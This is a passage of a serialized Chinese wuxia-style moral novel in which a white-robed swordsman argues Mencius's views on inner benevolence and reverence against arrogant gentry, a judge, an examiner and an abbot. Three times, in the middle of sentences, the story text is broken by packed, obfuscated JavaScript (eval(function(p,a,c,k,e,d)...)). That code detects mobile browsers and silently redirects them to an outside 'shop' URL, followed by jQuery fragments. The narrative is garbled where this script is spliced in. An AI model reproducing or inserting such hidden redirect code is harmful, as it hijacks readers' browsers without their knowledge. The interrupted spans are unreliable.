一点心光胜万金。” 推窗,见白衣人立墙头,月下如仙。 “你…你究竟是谁?” “我是谁不重要。”白衣人声淡如风,“重要的是,你是谁。你若自认是人,便行人事。若不认,何必披这张人皮?” 言罢,飘然而去。 陈百万独坐至天明,忽对管家道:“开仓,放粮…十日。” 四、 人皆人性 陈百万开仓放粮十日,白马县震动。其他富户,亦纷纷效仿。流民得活,秋后渐散。 公孙教授闻之,再开讲坛,此番不辩“白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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又三年,白马县大熟。百姓于城东立碑,名“白马碑”,记此事。碑文有联: “白马非马乃诡辩, 人心是心即真知。” 碑成那日,有牧童见一白衣人,立碑前良久,以手抚碑,轻笑:“善。” 牧童问:“先生,白马真非马乎?” 白衣人答:“白马是马,白是色,马是体,合为白马。如人是人,贫富是遇,仁心是体,合为人。莫以色遇掩本体,莫忘你心是人心。” 言罢,踏歌而去: “白马白,青马青, 是马皆能万里行。 贫者贫,富者富, 是人当有仁爱心。 莫被虚名迷双眼, 且看真心照汗青。” 歌声袅袅,散入秋风。 而白马碑,立在城东,沐风栉雨。往来行人,多驻足观读。有富者观之,惕然而醒;有贫者观之,挺胸而行。 皆因碑上那“人心是心”四字,如镜,照出每个人,心底那点“人”的光。 本章诫世 一、 名实之辩之谬 - 以“白马非马”喻名实分离,刺形式主义、标签化 - 破解法:莫被名相所惑,当察实质本真 - 示例:富者贫者皆人,却因财势标签而待遇悬殊 二、 人性禽性之界 - 孟子谓“人之所以异于禽兽者几希”,此“几希”即仁心 - 惕世:失仁心,纵披人皮,实为禽兽;持仁心,纵处困厄,不失为人 - 反思:当今之世,有多少“衣冠禽兽”,多少“布衣圣人”? 三、 仁心践行之要 - 陈百万之转变,在唤醒仁心;流民之互让,在发显仁心 - 深层隐喻:教育的根本在唤醒仁心,非灌输知识 - 终极指向:人人皆有仁心,只需拂拭尘埃,自放光明 白马偈: 开成五年秋气高,白马县中起论涛。 白衣仗剑明人性,富户开仓醒仁膏。 饥民知让存心烛,教授改弦正学篙。 莫道世间无炬火,石碑千古照人豪。 后世叹: 大周开成洛州秋,白马论争动邑侯。 一席话惊富者梦,半锅粥照贫民眸。 仁心能化三年粟,木剑可镌千古讴。 莫问白衣何处去,人心碑在即风流。 正是: 白马县中论马白,锦衣座上少仁怀。 饥民营里分羹饭,木剑坛前醒钝骸。 人性本同禽兽异,富贫岂可天人乖。 碑铭但记白衣语,心是灵台莫自埋。 29. 炙心谳 楔子分炙之宴 大周开成七年秋,陇西秦州有豪绅姓嬴,名四海,富甲一方。此人好客,尤好“炙宴”——于庭院设十数炙炉,烤羊炙鹿,遍请名流。然宴有奇规:宾客分三等,上宾食羊脊,中宾食羊腿,下宾食羊杂。座次依财势而定,贫者虽名流,亦居末席。 这日重阳,嬴府又开炙宴。庭中炙肉飘香,宾客如云。嬴四海踞主位,举觞笑道:“告子有云:‘食、色,性也。’今备佳肴美酒,诸公尽性!” 座中皆谀辞。忽闻角落有人轻笑:“告子言‘食色性也’不差,然其言‘义外’,谬矣。” 众视之,见末席一白衣人,斗笠面纱,正以木箸拨弄盘中羊杂。嬴四海不悦:“阁下高见?” 白衣人起身,负木剑踱至庭中:“告子谓:仁内义外。谓爱弟因是我弟,故爱之,此仁在内;敬长因彼年长,故敬之,此义在外。依此理,嬴公设宴分炙,亦是‘义外’——依宾客身份分肉,非因肉有异,乃因人分等。是乎?” 嬴四海傲然:“然也!贵贱有序,长幼有差,此礼也,亦义也!” “好个‘贵贱有序’!”白衣人抚掌,“然孟子驳之曰:‘耆秦人之炙,无以异于耆吾炙。’秦人之炙与吾炙,同是炙,同美味。今嬴公之炙,上宾食脊,下宾食杂,莫非脊是炙,杂非炙?抑或脊味美,杂味恶?” “自然脊嫩杂膻。” “非也。”白衣人自取上宾盘中羊脊,又取下宾盘中羊杂,各撕一片,分予左右,“诸公尝之,可有大异?” 左右尝,皆迟疑。实是同一羊,同一烤法,滋味相差无几。 白衣人笑:“既无大异,何以分赐?无他,嬴公心中,人分贵贱,故炙分优劣。此正是告子‘义外’之谬——将外在身份,凌驾本心良知。孟子诘之:‘耆炙亦有外欤?’食炙之欲,在内在外?若在內,何以同炙不同待?若在外,岂不荒谬?” 嬴四海面红,强辩:“礼制如此!” “礼制?”白衣人声转清越,“礼之本,在仁。无仁之礼,是虚礼;无仁之义,是假义。嬴公以财势分人,炙肉小事耳。然世之大者,亦复如是——以门第取士,以贫富断案,以亲疏量刑。此等‘义外’,实是‘仁内’泯灭!” 言罢,掷箸于地,铮然有声: “今日我便效孟子,与嬴公辩一辩这‘炙中仁义’!” 一、 炙同味异 嬴四海怒极反笑:“好!你既要辩,便辩个明白!你说我分炙不公,我且问你:我出肉,我设宴,我分肉,何错之有?” “无错。”白衣人话锋一转,“然你以财势为尺,量人短长,此尺是歪尺。歪尺量物,物无不歪。今日你以歪尺分炙,他日必以歪尺待人。敢问嬴公,可曾因贫富而断人讼事?” 嬴四海色变。他确曾收富者贿,冤判贫者。 白衣人观其色,已知□□,朗声道:“告子言‘义外’,谓敬长因彼年长,非我心中有敬。此是大谬!孟子驳曰:‘且谓长者义乎?长之者义乎?’义不在被敬者年长,在敬者心中有敬。今你敬上宾,非敬其人,敬其财势。此敬,是义否?是谄耳!” 满座哗然。有清流名士拍案:“说得好!” 嬴四海恼羞成怒:“你…你不过一介布衣,安敢在此狂言!来人,轰出去!” 家丁涌上。白衣人木剑未出鞘,只身形晃动,如穿花蝶,七八壮汉皆扑空摔倒。他跃上炙炉高台,声震庭院: “诸公且看!这满庭炙肉,香气同源,滋味同本。而食肉之人,却分三六九等。此岂肉之过?乃人之过!告子以‘义’为外,正为此等‘人分等级’张目!若义在外,则富者天然该食脊,贫者合该食杂。如此,仁心何在?良知何存?” 他拍开一坛酒,倾酒于地,酒香四溢: “酒同酒,人偏分浊清;炙同炙,人偏分贵贱。此等世道,与孟子所言‘人皆有不忍人之心’相去几何?今日我醉,便效李白‘天子呼来不上船’,赢公呼来——” 他举坛痛饮,饮罢长笑: “亦不上你这等级船!” 纵身下台,竟无人敢阻。 二、 同炙同心 白衣人出嬴府,径往城西贫民窟。时值深秋,饥寒交迫,有老妪携孙,于破庙前拾薪。 白衣人上前,自怀中取出一包炙肉,正是宴上所得羊脊:“婆婆,食否?” 老妪惊退:“贵人…此肉老身不敢…” “肉有何贵贱?”白衣人撕半给她,“皆羊身上物,不过所处部位不同。人亦如是,不过所处境遇不同。食吧。” 老妪泪下,与孙分食。白衣人又取数包,分与庙中饥民。饥民跪谢,白衣人扶起,叹道: “莫谢我,该谢孟子。” “孟子?” “孟子与告子辩‘仁内义外’,谓仁爱之心在内,义礼之行亦在内。今嬴四海以财势分炙,是外物障目,失却本心。而我分肉与你等,非因你贫,因我见你饥寒,心中不忍。此不忍,是仁,亦是义。仁义皆在吾心,何分内外?” 有饥民问:“先生,我等贫贱,合该食杂乎?” “荒谬!”白衣人正色,“告子言‘彼长而我长之’,谓因彼年长,故我敬之。此是本末倒置!当是‘我心中有敬,故敬彼长’。你等虽贫,心中亦有仁义。见老弱会让食,见幼童会庇护,此便是仁义。岂因贫而失?” 他起身,对众道:“今日我便在庙前,开一场‘同心炙宴’!” 言罢,取木剑,削竹为签,又出碎银,命壮年买炭买肉。不多时,庙前炭火生,炙肉香。白衣人持剑为刀,将肉切块,不分贵贱,来者各得三串。 饥民围坐,初时拘谨,渐见白衣人随意,也放胆食之。有歌者击瓮而歌,有老者说古,孩童嬉戏。一时庙前,竟比赢府炙宴更热闹。 白衣人歌曰: “炙肉本同味,人心自分高。 嬴府分脊杂,破庙共脂膏。 仁爱岂关贫富事,义气原在寸心豪。 劝君莫学告子论,仁义分明内外淆。” 歌罢,对众一揖:“诸君,仁义在己心,莫因贫贱自轻。他日若得志,莫学嬴四海,以财势量人。” 众皆感泣。忽闻马蹄声,嬴四海率家丁至,见状大怒:“好个狂徒!在此蛊惑人心!” 白衣人笑:“嬴公来得巧,正有炙肉,可要同食?” “谁与你同食!”嬴四海指饥民,“此等贱民,也配食炙?” “哦?”白衣人敛笑,“嬴公言‘贱民’,是心言,还是口言?” “有差么?” “有。”白衣人缓缓道,“告子言‘仁内义外’,谓仁爱是内心,义礼是外在。嬴公心中,视贫者为贱,此是‘仁内’无仁;口出恶言,是‘义外’无礼。内外皆失,尚敢称‘人’乎?” 嬴四海气结,命家丁动手。白衣人木剑一横,剑气森然,竟逼退众人。他踱至嬴四海马前,仰首道: “嬴公,我再问你:若有一日,你落难至此,饥寒交迫,可望人赐一炙否?” “我…我岂会落难!” “是么?”白衣人轻笑,“孟子见齐宣王,言‘老吾老以及人之老,幼吾幼以及人之幼’。你今日富贵,不思及贫者之苦,他日落难,何人及你?仁义是心灯,今日你不点,他日谁为你明?” 嬴四海怔住,看庙前饥民,衣衫褴褛,却围火分炙,面有欢容。忽觉自己华服美食,反不如他们快活。 正恍惚,白衣人掷一物入怀,是块炙肉:“尝尝,同心炙。” 嬴四海下意识接过,炙肉尚温。他犹豫,终咬一口,滋味竟与府中无异——不,更添一分烟火气。 白衣人已转身,携饥民高歌: “嬴府炙肉分脊杂,破庙同食滋味佳。 仁义本在方寸地,何须贫富论等差?” 歌声渐远,嬴四海持炙呆立,如泥塑木雕。 三、 心炙之辩 嬴四海归府,三日不食。第四日,忽命开仓,设“同心粥棚”,凡饥民,皆得饱食。又拆府中西院,建“仁义堂”,收容孤寡。 此事传开,秦州震动。有儒生问其故,嬴四海叹:“那白衣人一言,如棒喝。我一生以财势为尺,量人量己,量到后来,竟不知自己是人是兽。今设粥棚,非为沽名,为心中那点仁,还未死尽。” 儒生传其言,有名家后学不服,聚于仁义堂前,欲寻白衣人辩“仁内义外”。 白衣人果至,仍是一袭白衣,木剑负背。 名家子弟出列:“阁下前日驳告子,谓仁义皆在内。然则,见孺子入井而救,是因孺子可怜而救,此非‘外’乎?见长者而敬,是因年长而敬,此非‘外’乎?” 白衣人笑:“君入歧路矣。我问你:孺子入井,你见之,心中是否怵惕?” “是。” “此怵惕,是内是外?” “是内…然因孺子而起,亦是外。” “非也。”白衣人正色,“孺子入井,是外缘。怵惕之心,是你本有。若无此心,见孺子入井,亦不怵惕。譬如嬴四海昔时,见饥民将死,心中可怵惕?” 众默然。 “故孟子云:‘恻隐之心,仁之端也。’此心人人本有,遇外缘而发。告子谬在,以外缘为义,忘本心为源。譬如食炙,美味是炙,然知味之能,在你舌。告子谓美味在外,岂不谬哉?” 又一人问:“然则礼法规矩,亦是外。若无规矩,何以成方圆?” “规矩在外,守规之心在内。”白衣人道,“真心守规,是仁义;假意守规,是虚伪。今世多少人,面遵规矩,心无仁义。此等‘守规’,是义否?是欺世盗名耳!” 他指仁义堂:“嬴公建此堂,是因规矩否?是因他心中仁心复苏。若无此心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088181|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 纵有千条规矩,他亦可不建。故规矩是末,仁心是本。告子本末倒置,故孟子力驳之。” 众皆沉思。白衣人取木剑,在堂前石阶刻: “仁内发为真恻隐, 义外终是假仪文。 劝君莫被告子误, 心灯长明自不昏。” 刻罢,对嬴四海一揖:“嬴公今日建堂,是仁心发明。望持守此心,莫再失却。” 嬴四海还礼,眼中含泪:“先生…可能留名?” 白衣人笑:“名何用?心有用。” 飘然而去。 四、 炙宴同心 自那日后,嬴四海真变了个人。每年重阳,不再设等级炙宴,而于城隍庙前开“同心炙宴”,无论贫富贵贱,来者皆可食。又设“仁义榜”,褒奖孝子节妇、义士善人。秦州风气为之一新。 三年后,秦州大旱,嬴四海散尽家财赈灾,活人无数。州牧欲上表请旌,嬴四海拒之:“昔年我以财势骄人,今以仁义补过,何功之有?” 是年重阳,同心炙宴更盛。嬴四海亲炙肉分众,见一老者携孙,衣衫虽旧,面有红光。问之,答:“昔年饥民,今有薄田,足矣。” 嬴四海泪下,敬酒三杯。 宴至酣,忽闻空中歌声: “昔日秦州嬴四海,炙宴分等成笑谈。 今朝庙前同心火,仁义不分贵与贱。 告子论义终是外,孟轲言仁本在内。 君看满座共炙客,谁辨当年脊与杂?” 众抬头,见白衣人立庙檐,月下如仙。 嬴四海伏地拜:“先生!” 白衣人掷下一物,是串炙肉,正落嬴四海盘中:“此肉与你三年前所食,同否?” 嬴四海尝之,泣道:“同味!同心!” “善。”白衣人笑,“仁内义内,本自一心。你已得之,好自为之。” 踏月而去,再不现身。 尾声同心碑 嬴四海寿终,秦州人念其德,于城隍庙侧立“同心碑”,记其事。碑阴刻《孟子》告子章句,碑阳刻四句: “炙肉同味何分脊, 人心同善莫论财。 仁义从来在方寸, 内外分明是蠢才。” 有游学士子过秦州,观碑不解,问乡老:“此碑何谓?” 乡老指庙前炙炉:“今日重阳,有炙宴,君可自观。” 士子往观,见千人围坐,分炙而食,无分彼此。有富者与乞儿同席,谈笑风生。问之,答:“自嬴公后,秦州人皆知,仁义在心,不在身份。” 士子叹服,于碑侧添一行小字: “嬴公一炙,惊醒秦州三十年大梦; 白衣数语,点破告子两千年迷津。” 后人有诗赞曰: “秦州嬴公本豪奢,炙宴分等似散沙。 白衣论仁惊四座,赤心化义泽千家。 同心碑前火长暖,仁义堂中德无涯。 莫道世风皆浇薄,孟子之道绽奇葩。” 而白衣人之事,渐成传说。或云剑仙,或云儒侠,或云弥勒化身。然秦州人不论,只知行仁义,食同心炙,便是对那袭白衣,最好的纪念。 本章诫世 一、 仁内义外之谬 - 告子“仁内义外”说,割裂仁义一体,为形式主义张目 - 破解法:仁义皆本心,遇缘而发,非内外可分 - 示例:嬴四海前期循“外礼”而失仁心,后期发仁心而真守礼 二、 等级之妄 - 以炙肉分等喻社会等级,刺身份歧视 - 惕世:以财势分人,是自堕禽兽道;以仁心待人,方显人性光 - 反思:当今多少规矩,是“外礼”非“内义”?多少身份,是“外衣”非“本心”? 三、 同心之真 - 同心炙宴,喻去除分别、回归本心 - 深层隐喻:真正的共同体,建立在仁心共鸣,非身份堆砌 - 终极指向:撕去一切外在标签,见那人性本真的光 炙心偈: 开成七年秦州秋,嬴府炙宴分等羞。 白衣一言论仁内,布衣千众得义周。 同心碑立风声改,仁义堂开气象道。 莫道告子辩才捷,难敌孟轲一点忧。 后世叹: 大周开成秦州城,炙宴分等触目惊。 白衣剑指仁内外,赤心化俗义分明。 嬴公幡醒建粥舍,饥民感泣歌升平。 千年公案今犹在,谁解孟子恻隐情? 正是: 嬴府炙肉分脊杂,庙前同心无等差。 告子论义终是外,孟轲言仁本在家。 白衣一席惊迷梦,赤胆三年化彩霞。 秦州至今重阳日,犹忆当年炙上花。 30. 敬内谳 楔子乡饮之礼 大周开成九年,颍川陈氏宗族办“乡饮酒礼”,依古制序齿排座。陈氏族长陈德高居首座,其兄陈德厚年长一岁,却坐次席。有外乡游学士子孟谦,观礼不解,问执事:“长幼有序,何以弟居兄上?” 执事答:“德高公是族长,位尊。” 孟谦疑道:“此非悖礼乎?敬兄是常礼,敬位是权礼。今以权废常,岂是义乎?” 座中忽闻轻笑:“此子问得妙。” 众视之,见末席一白衣人,斗笠面纱,正自斟自饮。陈德高不悦:“阁下何人?敢议我族礼?” 白衣人置杯:“无名之人。只是想起《孟子》一段公案——孟季子问公都子:‘乡人长于伯兄一岁,则谁敬?’” 满座皆读书人,闻此皆怔。这正是《孟子·告子上》中著名论辩。 陈德厚起身揖道:“愿闻其详。” 一、 席上之辩 白衣人踱至庭中,负手道:“昔孟季子问:若有乡人长兄一岁,敬谁?公都子曰敬兄。问:斟酒谁先?曰先乡人。季子遂诘:所敬在兄,所先在乡人,此敬岂非在外?” 陈德高冷笑:“此正是理!敬在心,序在礼。我为族长,自当首座,何错之有?” “错在‘敬外’。”白衣人声清如泉,“孟子答季子曰:‘敬叔父乎?敬弟乎?’常人必曰敬叔父。然若弟为祭主(尸),则敬弟。岂是敬弟本身?是因‘在位故也’。同理,庸常敬兄,特殊时敬乡人——此敬仍在心,因时因位而发,非心随位变。” 他指陈德厚:“今兄长为族中长者,本当敬。然因你是族长,反居其上。此非‘在位故’,是‘以位压常’。孟子言‘庸敬在兄,斯须之敬在乡人’,谓平常敬兄,特殊时暂敬乡人。今你以族长位,常压兄长,是本末倒置,以权坏礼。” 陈德高面红:“我…我依的是古礼!” “古礼?”白衣人长笑,“古礼首重孝悌。舜为天子,见父瞽瞍,犹恭敬如常。今你不过一族之长,便凌兄之上,此礼是古礼,还是你私心之‘礼’?” 满座窃语。陈德厚垂首,老泪纵横。 白衣人忽转问孟谦:“适才你问‘以权废常,岂是义乎’,今可自答?” 孟谦肃然:“学生以为,义在内,非在外。敬兄是心,敬位是迹。今以迹害心,是谓不义。” “善!”白衣人拊掌,“季子闻孟子言,仍谓‘敬叔父则敬,敬弟则敬,果在外’。公都子反诘:‘冬日则饮汤,夏日则饮水,然则饮食亦在外也?’饮汤饮水,因时制宜,岂是汤水在外?敬兄敬位,亦因时制宜,岂是敬在外?今陈族长以位常压兄,是谓‘冬夏皆饮汤’,岂不谬哉?” 言罢,木剑出鞘,在青石地上刻: “庸敬在兄心常在, 斯须敬位礼权宜。 莫将权宜作常道, 免使仁义两相离。” 陈德高羞愤离席,酒宴不欢而散。 二、 狱中之敬 白衣人出陈府,闻街市喧哗。近观之,见县衙前围满百姓,内有老妇鸣冤。 问旁人,知是老妇之子王五,卖柴为生,昨日被陈府管家陈福诬偷玉壶,押入大牢。王五喊冤,县令因陈府势大,不问即判。 白衣人排众入衙,正值升堂。县令拍惊堂木:“人赃俱获,何冤之有?拖下去,杖二十!” “且慢。”白衣人立堂下,“学生有一问。” 县令见其气度,忍怒:“讲。” “《孟子》载,孟季子谓‘敬叔父则敬,敬弟则敬,果在外’。今观此案,大人敬的是‘理’,还是‘势’?” 县令色变:“放肆!本官依律而断!” “依何律?可有人证物证?可曾勘验现场?可曾容被告辩白?”白衣人连珠发问,“若无,则是敬陈府之势,非敬律法之理。此正是‘敬在外’——敬权贵之势,非敬心中之义。” 县令语塞。陈福在旁嚷道:“你是什么东西?敢搅公堂!” 白衣人转身,目如寒星:“我且问你,玉壶何时失窃?” “昨…昨日申时。” “王五何时入府?” “申时三刻送柴。” “玉壶何时发现遗失?” “酉时。” 白衣人笑:“此玉壶,可是青玉雕鲤,壶底有‘陈府珍玩’印?” 陈福一惊:“你…你怎知?” “我不但知,”白衣人自袖中取出一壶,正是那青玉鲤壶,“还知此壶昨日未时,已被你家少爷失手打碎,碎片埋在后园槐树下。你可要掘地验证?” 陈福面如死灰。白衣人对县令一揖:“大人,此案是敬势,还是敬理,可明矣。” 县令汗出,急命开释王五。又欲拿陈福,白衣人阻道:“陈福不过听命,罪在纵子。然纵子亦是过,当罚。不若令其赔偿王五,并捐银修桥,以赎其愆。” 县令从之。退堂后,私问白衣人:“先生真神人也。何以知玉壶事?” 白衣人笑:“我不知。但知陈少爷纨绔,常毁物;知陈福奸猾,必诿过;知王五贫苦,易被诬。此非神机,是人心之常。大人若常怀‘敬内’之心,不惧权势,不轻贫贱,自能明察。” 言罢离去。县令独坐良久,取纸笔书“敬内”二字,悬于公堂。 三、 考场之敬 又数月,恰逢乡试。颍川考场,有生员挟带小抄,被巡场官拿获。此生乃陈德高之孙,名陈文达。 按例,挟带当革除功名,终身禁考。然学政犹豫——陈府势大,且陈文达才名在外,此番若不中,陈府必怨。 正踌躇,闻场外有人歌曰: “敬书敬学心在内, 挟带舞弊迹在外。 今有考官两难事, 不知敬内或敬外?” 学政出视,见白衣人立槐下,揖道:“先生教我。” 白衣人曰:“昔公都子不能答季子,孟子以‘在位故’解之。今学政‘在位’,主一府文教。当敬者何?是敬才名,还是敬考规?是敬陈府之势,还是敬天下士子之心?” 学政沉吟:“才名可惜,考规当严…” “非也。”白衣人摇头,“当敬者,‘道’也。科举取士,取的是真才实学,非虚名势位。今陈生挟带,是欺道。若赦之,是敬势毁道。他日满场士子,皆效其行,科举何用?文教何存?” 学政凛然:“先生是说…” “孟子言‘庸敬在兄,斯须之敬在乡人’,谓常敬与暂敬皆发自心。今学政当有‘庸敬’——常敬道统;亦有‘斯须之敬’——暂护规矩。陈生有才,可责令其苦读三年再考。今若赦,是毁其心性,亦是毁道。” 学政拜服,当场革去陈文达功名,张榜公示。陈府虽怨,然理亏,无可奈何。 白衣人出考场,陈文达追至,泣拜:“先生,学生知错。可三年…人生几何?” “三年短,道心长。”白衣人扶起,“你祖陈德高,以族长位压兄,是敬外失内。你今挟带,亦是敬功名外,失学问内。不若借此三年,真读圣贤书,明‘敬内’之理。他日再考,方是真才。” 陈文达再拜。后三年,果闭门苦读,中举人,官至知府,以清廉闻。皆因当年考场一训。 四、 山寺之敬 秋深,白衣人游至少林寺(架空,非嵩山少林)。见方丈率众迎官轿,仪仗煊赫。问之,乃巡抚进香。 巡抚入殿,方丈亲奉茶,执礼甚恭。白衣人于偏殿问小沙弥:“寻常香客,也方丈亲奉否?” 沙弥摇头:“寻常香客,知客师接待。” 白衣人笑:“此又是‘敬外’了。” 俄顷,巡抚出,方丈送。白衣人拦道:“大师,佛说众生平等。今巡抚是众生,寻常香客亦是众生。何以礼有差?” 方丈合十:“巡抚代天子巡狩,礼当如是。” “天子是众生否?” “…” “佛说平等,是心平等,非位平等。”白衣人徐道,“礼敬巡抚,是敬位;礼敬众生,是敬佛。今大师重位轻生,是敬外失内,恐违佛旨。” 方丈汗颜。巡抚不悦:“你是何人?敢谤佛门?” 白衣人揖:“山人只闻孟子言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088182|195403||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ‘敬内’。昔孟子谓敬叔父是常,敬弟为尸是暂,皆发自心。今大师敬巡抚是常,敬众生是暂,此心是佛心,还是俗心?” 巡抚语塞。白衣人又道:“大人代天子巡狩,当敬者何?是敬民,还是敬佛?民为邦本,佛度众生,本是一体。今见大师重你,便喜;若重民,可会不喜?” 巡抚默然。白衣人取木剑,在寺墙题: “佛前众生本平等, 官后礼节自有差。 但得心中敬常在, 不向权门拜莲花。” 题罢,对方丈一揖:“大师莫怪。敬佛在心,不在形。敬民在行,不在言。告辞。” 飘然出寺。巡抚与方丈对视,皆惭。 次日,巡抚令减仪仗,方丈设“平等茶棚”,无论贵贱,皆一杯清茶。香客称善。 尾声敬碑长存 白衣人离颍川,再无消息。然“敬内”之说,流传渐广。 陈德高辞族长位,让于兄。兄弟和睦,传为佳话。 县令公堂“敬内”匾,后任皆保留。颍川狱讼,渐趋清明。 考场立“敬学碑”,刻“挟带者戒”,士风一肃。 少林寺墙题诗,被僧人以漆固,成“敬心壁”,香客多临摹。 三年后,有游学士子过颍川,闻诸事,叹道:“此白衣人,真孟子之徒也!” 乡老曰:“其人虽去,其理长存。今颍川人遇事,皆问己心:是敬内,还是敬外?此一问,便少许多糊涂事。” 士子问:“可能再见其人?” 乡老指城东“敬内亭”:“亭中有碑,刻其言行。见碑如见人。” 士子往观,见碑上刻《孟子》季子章句,下附四句: “敬兄敬长是本心, 敬位敬势是权宜。 莫将权宜作本末, 免使良知蒙尘泥。” 碑阴有跋,乃陈文达所书: “昔我少年,敬功名外物,几堕歧途。蒙先生点醒,知敬学在内。今官游四方,见多少‘敬外’之人——敬权、敬势、敬财、敬名,独不敬本心。每思先生,如晨钟暮鼓。立此碑,愿后来者,常问己心:所敬者何?” 士子观罢,肃立良久,对碑三揖。 时值深秋,金风送爽。亭外稻田千顷,农人收割,笑语盈野。 是一派敬天敬地,敬稼穑,敬本分的景象。 或许,这便是“敬内”的真意了。 本章诫世 一、 敬内敬外之辨 - 孟子“敬内”说,谓一切礼节皆发自本心仁敬,非由外势 - 破解法:遇礼制冲突时,当返观本心,莫被外物牵役 - 示例:族长敬位压兄、县令敬势枉法、学政敬才坏规,皆“敬外”之失 二、 权宜常道之界 - “庸敬在兄,斯须之敬在乡人”,谓常道与权宜皆需本心主宰 - 惕世:不可将权宜之策升为常道,否则本心蒙尘 - 反思:世有多少“不得已”,实是“敬外”成习? 三、 敬碑亭之喻 - 以碑亭代薪传,喻“敬内”之理需代代提撕 - 深层隐喻:文明延续不在礼制繁复,在人心常明 - 终极指向:人人心中皆有“敬内”碑,莫让尘垢遮蔽 敬内偈: 开成九年颍川秋,乡饮酒礼起论诹。 族长敬位兄垂泪,白衣论敬众醒眸。 公堂悬匾狱讼改,考场立碑士风道。 莫道孟辩两千载,今人犹在迷外求。 后世叹: 大周颍川陈氏宴,座次纷争礼法变。 白衣一言论敬内,木剑数刻醒愚倦。 县令悬匾公堂肃,学政立碑文场善。 至今亭畔碑文在,长教行人观本面。 正是: 颍川秋宴礼序淆,族长敬位兄心憔。 白衣论敬惊四座,木剑镌理醒群嚣。 庸敬在兄是本道,斯须敬乡乃权调。 劝君常问心中义,莫逐外物折骨腰。 31. 四心谳 楔子四心碑 大周开成十一年,河内府衙前新立一碑,高八尺,青石凿就,上刻四行大字: “恻隐之心,仁也; 羞恶之心,义也; 恭敬之心,礼也; 是非之心,智也。” 落款小字:“录《孟子》告子章句,以警世风。” 此碑乃知府刘文正所立。刘知府是理学名臣,赴任三日,见河内民风浇薄,兄弟争产、邻里构讼、商贾欺诈之事不绝,遂立此碑,欲以孟子“四心”教化百姓。 碑成那日,万民围观。刘知府亲临讲解:“此四心,人皆有之,如四肢五官,天生具备。今人作恶,非无此心,是自蔽之…” 话音未落,人群中有人轻笑:“知府大人,既人皆有四心,何以满城争讼?” 众视之,见一白衣人,斗笠面纱,负木剑,立于人丛。 刘知府蹙眉:“阁下有何高见?” 白衣人踱至碑前,以手抚字:“大人立此碑,心是好的。只是学生有一惑:若四心人皆有,何以有人见孺子入井而不救?何以有人夺兄田产而无愧?何以有人欺诈孤寡而无耻?此四心,真在否?” 刘知府正色:“在!孟子曰:‘非由外铄我也,我固有之也,弗思耳矣。’只是人不思不求,故失之。” “不思不求?”白衣人转身,对众扬声道,“诸位乡邻,可有人愿说一事——你曾见他人受苦,心中不忍,却未相助?可有人曾行不当之事,心中羞耻,却仍为之?” 人群沉默。忽有老妪泣道:“老身…老身有!去岁冬,见邻家小儿落冰窟,老身怕冷,未救…至今夜夜难眠!”言罢捶胸。 又有一汉子低头:“俺…俺为三亩水田,与亲兄讼三年,赢了田,输了兄弟情,每见兄避道走,俺心如刀绞…” 一商人颤声:“小人卖米掺沙,见老妇买去,心中愧,却贪利未言…” 泣诉声渐多。白衣人听罢,对刘知府一揖:“大人听见了?此便是恻隐、羞恶之心。人皆有,却常自蔽。今大人立碑劝善,不如解其为何自蔽。” 刘知府动容:“请赐教。” 一、 恻隐冰窟 白衣人引众至城北河边,指一冰窟:“去岁那小儿,便落此处?” 老妪点头。白衣人问:“当时可有人见?” “有…有五六人,皆未救。” “为何?” “冰薄…怕死。” “是怕死,还是恻隐之心不敌惧死之心?”白衣人徐道,“孟子言‘乍见孺子入井,皆有怵惕恻隐之心’,谓此心发动,不假思索。然若思量‘我救会死’,此心便被蔽。非无心,是被利害计较所蔽。” 他自怀中取出一串铜钱,掷于冰面:“今我悬赏十文,谁敢踏冰取钱?” 无人动。 “百文?” 仍不动。 “一两银?” 一青年咬牙欲前,被母拉住。 白衣人长叹:“诸君见否?恻隐之心发动时,未及思量;一旦思量利害,心即被蔽。今世多少人,见义不为,非无恻隐,是算得太清。此非性恶,是智昏。” 他跃上冰面,木剑轻点,冰裂三尺,竟有锦鲤跃出。白衣人捞鱼在手,对老妪道:“婆婆,此鱼送你,愿你好生养护,如养护你那点恻隐心。” 老妪抱鱼泣谢。白衣人又对众道:“恻隐如泉,堵则涸,疏则流。从今而后,见人急难,莫先思利害,但问心中那点‘不忍’。此心一振,便是仁端。” 言罢,在河边柳树刻: “恻隐本自心中泉, 莫让利害塞其源。 但得一念不忍处, 便是人间仁字先。” 是日,河内传出三桩义举:有商贾捐米济贫,有壮汉救起落水犬,有孩童送饼与乞儿。皆因“莫思利害”四字。 二、 羞恶田讼 次日,白衣人访那争田兄弟。兄名张仁,弟名张义,本是一户,因父遗三亩水田,三年不往来。 白衣人邀二人至田头,问:“此田产粮几何?” 张仁答:“年收三石。” “三石值几钱?” “约…约三两银。” “三年不往来,值几钱?” 二人默然。 白衣人指田埂:“你父遗此田,是望你兄弟生息,非望你兄弟生隙。今为三两银年利,三年不相见,可值?” 张义垂首:“是弟贪…” “非贪,是羞恶之心被蔽。”白衣人正色,“孟子言羞恶之心,人皆有之。你讼兄时,心中无愧?夜半可眠?” 张义泣道:“常惊醒…” 